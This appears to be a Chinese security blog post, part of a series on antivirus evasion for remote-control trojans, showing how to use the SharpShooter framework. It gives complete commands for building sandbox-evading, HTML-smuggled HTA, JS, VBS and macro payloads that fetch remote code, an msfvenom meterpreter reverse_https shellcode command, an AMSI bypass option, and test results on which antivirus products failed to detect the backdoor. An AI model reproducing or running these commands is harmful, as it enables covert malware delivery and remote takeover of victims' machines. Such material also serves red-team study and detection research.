远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

admin 2023年2月23日21:10:09评论43 views字数 6666阅读22分13秒阅读模式

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

本专题文章导航

1.远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg

2.远控免杀专题(2)-msfvenom隐藏的参数:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w

3.远控免杀专题(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

4.远控免杀专题(4)-Evasion模块(VT免杀率12/71):https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ

5.远控免杀专题(5)-Veil免杀(VT免杀率23/71):https://mp.weixin.qq.com/s/-PHVIAQVyU8QIpHwcpN4yw

6.远控免杀专题(6)-Venom免杀(VT免杀率11/71):https://mp.weixin.qq.com/s/CbfxupSWEPB86tBZsmxNCQ

7.远控免杀专题(7)-Shellter免杀(VT免杀率7/69):https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg

8.远控免杀专题(8)-BackDoor-Factory免杀(VT免杀率13/71):https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ

9.远控免杀专题(9)-Avet免杀(VT免杀率14/71):https://mp.weixin.qq.com/s/EIfqAbMC8HoC6xcZP9SXpA

10.远控免杀专题(10)-TheFatRat免杀(VT免杀率22/70):https://mp.weixin.qq.com/s/zOvwfmEtbkpGWWBn642ICA

11.远控免杀专题(11)-Avoidz免杀(VT免杀率23/71):https://mp.weixin.qq.com/s/TnfTXihlyv696uCiv3aWfg

12.远控免杀专题(12)-Green-Hat-Suite免杀(VT免杀率23/70):https://mp.weixin.qq.com/s/MVJTXOIqjgL7iEHrnq6OJg

13.远控免杀专题(13)-zirikatu免杀(VT免杀率39/71):https://mp.weixin.qq.com/s/5xLuu5UfF4cQbCq_6JeqyA

14.远控免杀专题(14)-AVIator免杀(VT免杀率25/69):https://mp.weixin.qq.com/s/JYMq_qHvnslVlqijHNny8Q

15.远控免杀专题(15)-DKMC免杀(VT免杀率8/55):https://mp.weixin.qq.com/s/UZqOBQKEMcXtF5ZU7E55Fg

16.远控免杀专题(16)-Unicorn免杀(VT免杀率29/56):https://mp.weixin.qq.com/s/y7P6bvHRFes854EAHAPOzw

17.远控免杀专题(17)-Python-Rootkit免杀(VT免杀率7/69):https://mp.weixin.qq.com/s/OzO8hv0pTX54ex98k96tjQ

18.远控免杀专题(18)-ASWCrypter免杀(VT免杀率19/57):https://mp.weixin.qq.com/s/tT1i55swRWIYiEdxEWElSQ

19.远控免杀专题(19)-nps_payload免杀(VT免杀率3/57):https://mp.weixin.qq.com/s/XmSRgRUftMV3nmD1Gk0mvA

20.远控免杀专题(20)-GreatSCT免杀(VT免杀率14/56):https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ

21.远控免杀专题(21)-HERCULES免杀(VT免杀率29/70):https://mp.weixin.qq.com/s/Rkr9lixzL4tiL89r10ndig

22.远控免杀专题(22)-SpookFlare免杀(VT免杀率16/67):https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA

23.远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57):本文

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


免杀能力一览表

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


一、SharpShooter介绍

Sharpshooter,2018年开源的工具,知名度较高,基于python2开发,是比较专业的Payload生成框架,支持反沙箱、分阶段和无阶段的Payload执行,并能够生成hta、js、jse、vba、vbe、vbs、wsf等多种格式的payload,创建的Payload可用于编译执行任意C#源代码。Sharpshooter还能对Payload使用随机密钥进行RC4加密,还能检测沙箱,从而避开杀软的检测。

二、安装SharpShooter

安装比较简单,python2执行环境。

先从github上clone到本地

# git clone https://github.com/mdsecactivebreach/SharpShooter

进入SharpShooter目录,安装python依赖库

pip install -r requirements.txt

执行python sharpShooter.py即可

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

三、SharpShooter使用说明

SharpShooter支持的参数比较多,可以像垒积木一样构造不同的payload。

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

  -h, --help          帮助菜单  --stageless         创建一个不分阶段的payload  --dotnetver <ver>   制定dotnet的版本,2或者4  --com <com>         COM 分阶段技术: 如outlook, shellbrowserwin, wmi, wscript, xslremote等  --awl <awl>         使用程序白名单技术: wmic, regsvr32  --awlurl <awlurl>   指定取回 XSL/SCT payload的url地址  --payload <format>  Payload 类型: hta, js, jse, vbe, vbs, wsf, macro, slk  --sandbox <types>   绕过沙盒技术:                      [1] Key to Domain (e.g. 1=CONTOSO)                      [2] Ensure Domain Joined                      [3] Check for Sandbox Artifacts                      [4] Check for Bad MACs                      [5] Check for Debugging  --amsi <amsi>       使用AMSI绕过技术: amsienable  --delivery <type>   分发方法: web, dns, both  --rawscfile <path>  指定生成payload的shellcode  --shellcode         使用内置的shellcode  --scfile <path>     指定C#的shellcode的路径  --refs <refs>       指定C#需要的依赖文件,如mscorlib.dll等  --namespace <ns>    指定C#的Namespace,如Foo.bar  --entrypoint <ep>   指定C#需要执行的方法,如Main  --web <web>         指定web分发的地址  --dns <dns>         指定Dns分发的地址  --output <output>   输出文件的名称  --smuggle           HTML内的隐藏文件  --template <tpl>    指定生成html的template文件 (e.g. mcafee)

SharpSHooter支持分阶段(Staged)和无阶段(Shageless)Payload执行。分阶段执行可以使用HTTP(S)或DNS这两种方式进行传输,或者两者同时使用。当分阶段Payload被执行时,会尝试检索已经压缩的C#源代码文件,然后使用所选择的方式进行Base64编码。随后,借助.NET CodeDom编译器,将C#源代码下载,并编译到主机上。最后从源代码执行所需的方法。下图展现了SharpShooter在分阶段过程中的具体操作步骤:

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

SharpShooter的使用还算比较简单的,官方提供了各种payload的生成命令。

1、不分阶段的JavaScript

SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

2、不分阶段的hta

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

3、分阶段的VBS

SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

4、使用js加载自定义C#代码

SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

5、使用vbs调用COM方法执行wmic.exe

SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

6、创建hta调用XMLDOM来执行shellcode

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

7、创建VBA调用XMLDOM来执行shellcode

SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

8、创建Excel 4.0 符号链接文件执行shellcode

SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

要求shellcode不能包含空字符

msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b 'x00'

四、利用SharpShooter生成后门

以一个比较简单的为例进行测试,创建一个包含后门的HTA。

要先用msfvenom生成一个raw格式的shellcode

msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o shellcode.txt

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

然后使用SharpShooter创建hta后门

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./shellcode.txt --sandbox 4 --smuggle --template mcafee

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

在测试机上运行foo.hta,理论是也可以使用mshta.exe http://ip/foo.hta来执行,但我没执行成功。

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

msf中可正常上线

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

打开杀软进行测试,火绒静态和动态都可以查杀,360卫士和360杀毒没有报警。

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

virustotal.com上查杀率为22/57

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

又试了下SharpShooter生成的js之类的payload,查杀率也差不多,而且都被标注了Sharpshooter的病毒名称,说明SharpShooter默认生成的样本特征都已经被杀软列入特征库了。

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

五、SharpShooter小结

SharpShooter算是比较复杂的一个框架,支持多种payload,能在.NET框架的v2、v3和v4版本上都能执行,涵盖了绝大部分的Windows系统。但也因为SharpShooter的知名度比较高,默认生成的payload已经被查杀的比较严重,但其实现方式和思路是比较值得人学习的。

而且在2019年1月Sharpshooter加入了AMSI的bypass模板,使用参数--amsi amsienable可以使用该模块来Kill掉AMSI,感兴趣的可以试一下。

六、参考资料

官方github:https://github.com/mdsecactivebreach/SharpShooter

如何使用SharpShooter生成Payload:https://www.anquanke.com/post/id/100533




E




N




D






远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)


guān




zhù







men





Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)




原文始发于微信公众号(白帽子):远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月23日21:10:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)http://cn-sec.com/archives/868634.html

发表评论

匿名网友 填写信息